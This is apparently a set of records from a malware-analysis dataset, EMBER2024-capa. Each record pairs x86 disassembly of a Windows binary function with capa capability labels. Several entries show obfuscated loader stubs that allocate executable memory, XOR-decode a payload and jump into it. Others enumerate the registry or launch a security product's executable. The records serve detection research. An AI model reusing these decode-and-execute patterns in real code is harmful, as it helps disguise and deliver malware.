joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001a447
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x3c0]
sub esp, 0x440
mov eax, dword [0x10047578]
xor eax, ebp
mov dword [ebp + 0x3bc], eax
mov eax, dword [ebp + 0x3c8]
push esi
push edi
xor edi, edi
mov esi, 0x20019
push esi
push 0x1003c408
push reloc.OLEAUT32.dll_SysReAllocString
lea ecx, [ebp - 0x64]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x64], edi
mov dword [ebp - 0x60], edi
mov dword [ebp - 0x5c], edi
mov dword [ebp - 0x7c], edi
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x74], edi
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x6c], edi
mov dword [ebp - 0x68], edi
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x58], edi
call fcn.1001fa50
test eax, eax
je 0x1001a4ee
lea ecx, [ebp - 0x70]
call fcn.1000135a
lea ecx, [ebp - 0x54]
call fcn.1000135a
lea ecx, [ebp - 0x7c]
call fcn.1000135a
lea ecx, [ebp - 0x64]
call fcn.1000135a
xor eax, eax
mov ecx, dword [ebp + 0x3bc]
pop edi
xor ecx, ebp
pop esi
call fcn.1001d742
add ebp, 0x3c0
leave
ret
push esi
push 0x1003c414
push dword [ebp - 0x64]
lea ecx, [ebp - 0x7c]
call fcn.1001fa50
test eax, eax
jne 0x1001a4b5
push esi
push 0x1003c420
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x54]
call fcn.1001fa50
test eax, eax
je 0x1001a53c
lea ecx, [ebp - 0x70]
call fcn.1000135a
lea ecx, [ebp - 0x54]
call fcn.1000135a
lea ecx, [ebp - 0x7c]
call fcn.1000135a
lea ecx, [ebp - 0x64]
call fcn.1000135a
mov eax, edi
jmp 0x1001a4d7
push ebx
mov esi, 0x400
push esi
lea eax, [ebp - 0x44]
push edi
push eax
call fcn.1001d760
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
add esp, 0xc
push esi
lea eax, [ebp - 0x44]
push eax
push edi
jmp 0x1001a589
push dword [ebp - 0x80]
inc dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
call fcn.1001fa50
pop ecx
test eax, eax
pop ecx
lea eax, [ebp - 0x44]
je 0x1001a594
push esi
push edi
push eax
call fcn.1001d760
add esp, 0xc
push esi
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x48]
push dword [ebp - 0x54]
call ebx
test eax, eax
je 0x1001a55e
jmp 0x1001a5cb
push 0x20019
push eax
push dword [ebp - 0x54]
lea ecx, [ebp - 0x70]
call fcn.1001fa50
test eax, eax
jne 0x1001a5cb
lea eax, [ebp - 0x48]
push eax
push str.UseNewJavaPlugin
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x48], edi
call fcn.1001fa50
test eax, eax
jne 0x1001a5cb
cmp dword [ebp - 0x48], 1
sete al
mov dword [ebp - 0x58], eax
mov edi, dword [ebp - 0x58]
pop ebx
jmp 0x1001a518
Function at 0x1001abbe
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x208
lea ebp, [esp - 4]
mov eax, dword [0x10047578]
xor eax, ebp
mov dword [ebp + 0x208], eax
push 0xc
mov eax, 0x10037adb
call fcn.1001df68
mov esi, dword [ebp + 0x214]
xor ebx, ebx
lea eax, [ebp]
push eax
push ebx
push ebx
push 0x1a
push ebx
mov byte [esi], bl
mov dword [ebp - 4], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
cmp edi, ebx
jge 0x1001ac18
push edi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__szPath_
call fcn.1001d0df
pop ecx
pop ecx
push ebx
push edi
call fcn.1001fa50
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x14]
call fcn.10016f42
mov ecx, dword [eax]
mov byte [ebp - 4], 1
cmp ecx, ebx
je 0x1001ac35
call fcn.10009396
jmp 0x1001ac37
xor eax, eax
push 0x104
push eax
push dword [ebp + 0x218]
push esi
call fcn.1001fa50
mov ecx, dword [ebp - 0x14]
add esp, 0x10
cmp ecx, ebx
je 0x1001ac82
call fcn.1000d3d6
jmp 0x1001ac82
xor eax, eax
cmp edi, ebx
setge al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.1001d742
add ebp, 0x20c
leave
ret

Function at 0x1001acac
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x208
lea ebp, [esp - 4]
mov eax, dword [0x10047578]
xor eax, ebp
mov dword [ebp + 0x208], eax
push 0xc
mov eax, 0x10037b0b
call fcn.1001df68
mov esi, dword [ebp + 0x214]
xor ebx, ebx
lea eax, [ebp]
push eax
push ebx
push ebx
push 0x23
push ebx
mov byte [esi], bl
mov dword [ebp - 4], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
cmp edi, ebx
jge 0x1001ad06
push edi
push str.Error:_08x_in_::SHGetFolderPathW_0__CSIDL_COMMON_APPDATA__NULL__SHGFP_TYPE_CURRENT__szPath_
call fcn.1001d0df
pop ecx
pop ecx
push ebx
push edi
call fcn.1001fa50
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x14]
call fcn.10016f42
mov ecx, dword [eax]
mov byte [ebp - 4], 1
cmp ecx, ebx
je 0x1001ad23
call fcn.10009396
jmp 0x1001ad25
xor eax, eax
push 0x104
push eax
push dword [ebp + 0x218]
push esi
call fcn.1001fa50
mov ecx, dword [ebp - 0x14]
add esp, 0x10
cmp ecx, ebx
je 0x1001ad70
call fcn.1000d3d6
jmp 0x1001ad70
xor eax, eax
cmp edi, ebx
setge al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.1001d742
add ebp, 0x20c
leave
ret
Function at 0x1001b45f
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x10037b6b
call fcn.1001df68
mov esi, dword [ebp + 8]
xor eax, eax
xor edi, edi
xor ebx, ebx
mov word [esi], ax
mov dword [ebp - 4], edi
call fcn.1001fa50
test eax, eax
je 0x1001b48a
call fcn.1001b450
mov ebx, eax
push 0x104
push esi
push ebx
push edi
push 0x10039bf0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathEx]
mov esi, eax
cmp esi, edi
jge 0x1001b4e5
push esi
push str.Error:_08x_in_SHGetFolderPathEx_FOLDERID_LocalAppDataLow__0__hToken__pPath__MAX_PATH_
call fcn.1001d0df
pop ecx
pop ecx
push edi
push esi
call fcn.1001fa50
mov ecx, dword [ebp - 0x18]
mov esi, dword [ecx + 4]
mov dword [ebp - 0x14], esi
call fcn.1001b85a
push eax
push esi
push 0x1003bebc
call fcn.1001d0df
or dword [ebp - 4], 0xffffffff
add esp, 0xc
mov eax, 0x1001b4de
ret
cmp ebx, edi
je 0x1001b4f0
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x1001b5a1
push dword [ebp + 8]
mov dword [ebp - 4], 2
push edi
push edi
push 0x1a
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x1001b54d
push esi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__pPath_
jmp 0x1001b4a9
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x1001b5a1
push 1
push 0x1a
push dword [ebp + 8]
mov dword [ebp - 4], 4
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x1001b5a1
push esi
push str.Error:_08x_in_SHGetSpecialFolderPathW_NULL__pPath__CSIDL_APPDATA__TRUE_
jmp 0x1001b4a9
mov eax, esi
call fcn.1001dfd4
ret
Function at 0x1001bd69
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0xf98]
mov eax, 0x1018
call fcn.1001e5c0
mov eax, dword [0x10047578]
xor eax, ebp
mov dword [ebp + 0xf94], eax
mov eax, dword [ebp + 0xfa4]
push ebx
push esi
push edi
mov edi, dword [ebp + 0xfa0]
xor ebx, ebx
mov esi, 0x7ff
push esi
mov dword [ebp - 0x78], eax
lea eax, [ebp + 0x795]
push ebx
push eax
mov dword [ebp - 0x80], edi
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x7c], 1
mov byte [ebp + 0x794], bl
call fcn.1001d760
push esi
lea eax, [ebp - 0x6b]
push ebx
push eax
mov byte [ebp - 0x6c], bl
call fcn.1001d760
push edi
call fcn.10021a46
add esp, 0x1c
cmp eax, ebx
je 0x1001bdf9
push eax
push dword [ebp + 0xfa8]
push dword [ebp - 0x78]
call fcn.1001fa50
add esp, 0xc
neg eax
sbb eax, eax
inc eax
jmp 0x1001bf5b
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x70]
push eax
push 0x20019
push ebx
push dword [0x10047550]
push SysReAllocString
call edi
test eax, eax
je 0x1001be21
xor eax, eax
jmp 0x1001bf5b
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp + 0xfa8]
push eax
push dword [ebp - 0x78]
lea eax, [ebp - 0x7c]
push eax
push ebx
push dword [ebp - 0x80]
push dword [ebp - 0x70]
call esi
test eax, eax
je 0x1001be52
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x1001bf5b
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp + 0x794]
push eax
lea eax, [ebp - 0x7c]
push eax
push ebx
push 0x1003cad8
push dword [ebp - 0x70]
mov dword [ebp - 0x74], 0x800
call esi
test eax, eax
je 0x1001be7c
xor ebx, ebx
inc ebx
jmp 0x1001be42
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x70]
push eax
push 0x20019
push ebx
push str.SOFTWAREOracleJavaDeploy
push reloc.OLEAUT32.dll_SysReAllocString
call edi
test eax, eax
jne 0x1001be77
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x7c]
push eax
push ebx
push str.deployment.modified.timestamp
push dword [ebp - 0x70]
mov dword [ebp - 0x74], 0x800
call esi
test eax, eax
jne 0x1001be77
lea eax, [ebp + 0x794]
push eax
lea eax, [ebp - 0x6c]
push eax
mov dword [ebp - 0x74], 0x800
call fcn.1001fa50
pop ecx
pop ecx
test eax, eax
js 0x1001bf58
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0x78]
lea eax, [ebp - 0x7c]
push eax
push ebx
push dword [ebp - 0x80]
push dword [ebp - 0x70]
call esi
test eax, eax
jne 0x1001be77
push dword [ebp - 0x70]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
call fcn.1001fa50
test eax, eax
jne 0x1001bf58
lea eax, [ebp - 0x70]
push eax
push 0x20006
push ebx
push dword [0x10047550]
push SysReAllocString
call edi
test eax, eax
jne 0x1001be1a
push dword [ebp - 0x74]
push dword [ebp - 0x78]
push 1
push ebx
push dword [ebp - 0x80]
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1001be42
push dword [ebp - 0x70]
call esi
push dword [ebp - 0x78]
push dword [ebp - 0x80]
call fcn.1001fa50
pop ecx
pop ecx
xor eax, eax
inc eax
mov ecx, dword [ebp + 0xf94]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001d742
add ebp, 0xf98
leave
ret
Function at 0x1001d471
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10048aac], 0
push esi
push edi
jne 0x1001d3e7
call fcn.1001d353
test eax, eax
je 0x1001d42c
mov eax, dword [0x10048aac]
cmp eax, 1
jne 0x1001d408
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x1001d42c
jmp 0x1001d46e
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x1001d46e
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1001d430
xor eax, eax
jmp 0x1001d46e
mov eax, dword [esi]
push dword [0x10048aac]
call edi
mov edi, eax
test edi, edi
je 0x1001d452
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x1001d46e
lea edi, [esi + 0xff0]
push esi
push dword [0x10048aac]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x1001d458
mov eax, esi
pop edi
pop esi
ret
jmp 0x1001d3d3

Function at 0x1001d742
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10047578]
jne 0x1001d74c
repz ret
jmp fcn.10023329

Function at 0x1001fa50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x1001fa5f
pop dword [ebp - 0x20]
mov eax, 0x7b4c4d1b
add eax, 0x94b5ad44
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x3df2a
push 0
mov eax, 0x6a1df5eb
add eax, 0xa5e58ce5
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0xef823f8a
add ecx, 0x107dfe12
xor esi, esi
add esi, eax
mov edx, 0x10077a00
add edx, dword [ebp - 0x20]
mov edi, 0xf8e7fc27
add dword [ebp - 8], 0x39b714aa
mov ebx, dword [edx]
mov dword [ebp - 4], 0x8452bfb1
add ebx, edi
mov dword [ebp - 0x10], 0x33cb135
mov dword [esi], ebx
xor dword [ebp - 0x18], ebx
add esi, 4
add edx, 0x82cd2b00
sub edx, 0x82cd2afc
loop 0x1001fab4
add eax, 0xe943
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x4132f0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41331d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41331d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401dca
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x401dd9
pop dword [ebp - 0x28]
mov eax, 0x401dd9
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xf7c35774
add dword [ebp - 0x38], 0x568eedd7
mov dword [ebp - 0x34], 0xce0c13ce
sub dword [ebp - 0x34], 0x9bd8c789
mov dword [ebp - 0x30], 0xe8d648e7
sub dword [ebp - 0x30], 0x9c8a04b9
mov dword [ebp - 0x2c], 0x17a5e69e
sub dword [ebp - 0x2c], 0x17a5e69e
lea eax, [ebp - 0x38]
push eax
mov eax, 0x174b2b14
sub eax, 0x1708faa0
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x4516a482
add dword [ebp - 0x38], 0x2f5bc4d4
mov dword [ebp - 0x34], 0x4d0413b7
sub dword [ebp - 0x34], 0xb97b242
mov dword [ebp - 0x30], 0x43b645cb
add dword [ebp - 0x30], 0x1fb926a1
mov dword [ebp - 0x2c], 0x1c8b2517
sub dword [ebp - 0x2c], 0x1c8b2517
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x59291d1d
add eax, 0xa7191407
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3c394
push 0
call eax
mov ecx, 0x577f6907
add ecx, 0xa880d903
mov edi, eax
mov edx, 0x13a3e51c
sub edx, 0x1360a11c
add edx, dword [ebp - 0x28]
mov esi, 0xaa1abb31
sub esi, 0xa75ffaa1
xor dword [ebp - 0x20], 0xe91217be
mov ebx, dword [edx]
add dword [ebp - 8], 0xc79ce4cd
xor ebx, esi
mov dword [ebp - 0x20], 0x2e2088ca
mov dword [edi], ebx
mov dword [ebp - 8], 0x5331045
add edi, 0x28625cb8
sub edi, 0x28625cb4
add edx, 4
loop 0x401ef6
add eax, 0xeec76cee
add eax, 0x11398e0d
mov ebx, eax
add eax, 0x1116e247
sub eax, 0x1116e242
mov ecx, 0xaa937128
add ecx, 0x55ac8ed8
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x406670
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x40667f
pop dword [ebp - 0x14]
mov eax, 0x99bcae96
add eax, 0x6683b7e9
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x9932d76
sub dword [ebp - 0x24], 0xbb40e82b
mov dword [ebp - 0x20], 0x306cb76a
add dword [ebp - 0x20], 0x1c694db
mov dword [ebp - 0x1c], 0xa0c2c4e1
add dword [ebp - 0x1c], 0xab897f4d
mov dword [ebp - 0x18], 0x6f011cc6
sub dword [ebp - 0x18], 0x6f011cc6
lea eax, [ebp - 0x24]
push eax
mov eax, 0x87ba303f
add eax, 0x78870061
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xfdd649e
add dword [ebp - 0x24], 0x649504b8
mov dword [ebp - 0x20], 0xa4b199d0
add dword [ebp - 0x20], 0x9cbac7a5
mov dword [ebp - 0x1c], 0x426b8a31
sub dword [ebp - 0x1c], 0xdefc1dc5
mov dword [ebp - 0x18], 0x4f0c777c
sub dword [ebp - 0x18], 0x4f0c777c
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x622ef826
add eax, 0x9e123816
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3d73e
push 0
call eax
mov ecx, 0x5349
mov ebx, eax
mov esi, 0xc93e83ea
add esi, 0x37032c16
add esi, dword [ebp - 0x14]
mov edi, 0x97582ca6
sub edi, 0x9bff0ee7
sub dword [ebp - 0xc], 0x94fe91a8
mov edx, dword [esi]
xor dword [ebp - 8], eax
sub edx, edi
xor dword [ebp - 0x10], 0x81b1a6d4
mov dword [ebx], edx
add ebx, 0x323c67a2
sub ebx, 0x323c679e
add esi, 4
loop 0x40679b
add eax, 0x8ba409b
sub eax, 0x8b900a4
xor ebx, ebx
add ebx, eax
add eax, 0x4f04e6d
sub eax, 0x4f04e68
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x410100
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
mov esi, ecx
call main
pop ecx
xor ecx, ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x41011c
mov dword [eax], ecx
jmp 0x41011e
mov eax, ecx
push ecx
push ecx
push esi
push 0x410190
push ecx
push ecx
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov ecx, dword [esi + 0x10]
pop esi
mov dword [ecx], eax
leave
ret
Function at 0x401640
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x45a080]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0x469066
call fcn.00447953
push str.ProgramW6432
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.0043408e
add esp, 0xc
test eax, eax
jne 0x4016f4
mov eax, dword [ebp - 0x10c]
test eax, eax
je 0x4016f4
push eax
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.0042a8b3
push str.ESETESET_Securityegui.exe
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.0042b5d6
push 1
push dword [ebp - 0x10c]
call fcn.00421cfe
add esp, 0x20
lea eax, [ebp - 0x108]
push 5
push 0
push 0x4522a0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x20
cmp ecx, eax
sbb eax, eax
neg eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042195a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.0042195a
mov esp, ebp
pop ebp
ret
Function at 0x405260
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, ecx
mov ecx, 0x4690e3
call fcn.00447953
cmp byte [edi + 0xea8], 0
lea eax, [edi + 0xdc]
mov esi, dword [edi + 0x1a8]
je 0x405297
push esi
push eax
lea ecx, [edi + 0x830]
call fcn.0040def0
push esi
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
call esi
mov dword [ebp - 8], eax
lea eax, [edi + 0xdc]
push eax
call esi
push 8
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
push 0xc
push 0
push dword [edi + 0x838]
call dword [sym.imp.WS2_32.dll_setsockopt]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test esi, esi
mov dword [edi + 0x860], eax
lea ecx, [edi + 0x1620]
sete bl
push ecx
mov byte [edi + 0xea8], bl
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xorps xmm0, xmm0
mov dword [edi + 0x1618], 0
movsd qword [edi + 0x1630], xmm0
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x405310
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov edi, ecx
mov ecx, 0x4690e3
call fcn.00447953
cmp byte [edi + 0xea8], 0
mov eax, dword [edi + 0x1a8]
je 0x405386
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
push eax
mov byte [edi + 0xea8], 0
call esi
mov dword [ebp - 8], eax
lea eax, [edi + 0xdc]
push eax
call esi
push 8
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
push 0xd
push 0
push dword [edi + 0x838]
call dword [sym.imp.WS2_32.dll_setsockopt]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [edi + 0x860], eax
test esi, esi
je 0x405386
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [edi + 0x860], eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40aac0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, ecx
mov ecx, 0x4690e3
call fcn.00447953
movzx eax, byte [ebp + 8]
xor eax, 1
push eax
push dword [edi + 0x1c]
call dword [sym.imp.USER32.dll_ShowWindow]
movzx eax, byte [ebp + 8]
push eax
push dword [edi + 0x20]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
push dword [edi + 8]
call dword [sym.imp.USER32.dll_InvalidateRect]
pop edi
pop ebx
pop ebp
ret 4
Function at 0x40c400
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4486ed
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x45a080]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov ecx, 0x4690e3
call fcn.00447953
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 1
push eax
push 0x4531a8
push 0x17
push 0
push 0x44a600
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x40c592
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x453160
mov esi, eax
push 0x9b
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
je 0x40c592
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov dword [ebp - 0x24], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [ebp - 0x10]
mov esi, eax
lea eax, [ebp - 0x18]
push eax
push ecx
mov edx, dword [ecx]
call dword [edx + 0x38]
test eax, eax
jne 0x40c592
mov eax, dword [ebp - 0x18]
push dword [ebp - 0x24]
push esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x40]
test eax, eax
jne 0x40c592
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 4
lea edx, [ebp - 0x20]
mov eax, dword [ebp - 0x10]
push edx
push 1
push 0
push dword [ebp - 0x18]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x10]
test eax, eax
jne 0x40c55b
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x1c]
push edx
push 0
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
jne 0x40c55b
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x14]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
test eax, eax
jne 0x40c55b
mov eax, dword [ebp - 0x14]
xorps xmm0, xmm0
push 1
sub esp, 8
mov ecx, dword [eax]
movsd qword [esp], xmm0
push 0
push 0
push 0x44a610
push dword [ebp - 0x1c]
push eax
call dword [ecx + 0x20]
test eax, eax
jne 0x40c55b
push dword [ebp + 0x10]
mov eax, dword [ebx + 0x5c]
push 0
push dword [ebp - 0x14]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov bl, 1
jmp 0x40c55d
xor bl, bl
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x40c56e
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40c57f
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x40c594
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x40c594
xor bl, bl
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x40c5a5
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x40c5b9
mov edx, dword [ecx]
push ecx
call dword [edx + 8]
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40def0
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov edi, ecx
mov ecx, 0x4690e3
call fcn.00447953
cmp byte [edi + 0x678], 0
je 0x40df5f
push dword [ebp + 0xc]
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
mov byte [edi + 0x678], 0
call esi
push dword [ebp + 8]
mov dword [ebp - 8], eax
call esi
push 8
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
push 0xd
push 0
push dword [edi + 8]
call dword [sym.imp.WS2_32.dll_setsockopt]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [edi + 0x30], eax
test esi, esi
je 0x40df5f
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [edi + 0x30], eax
xor al, al
pop edi
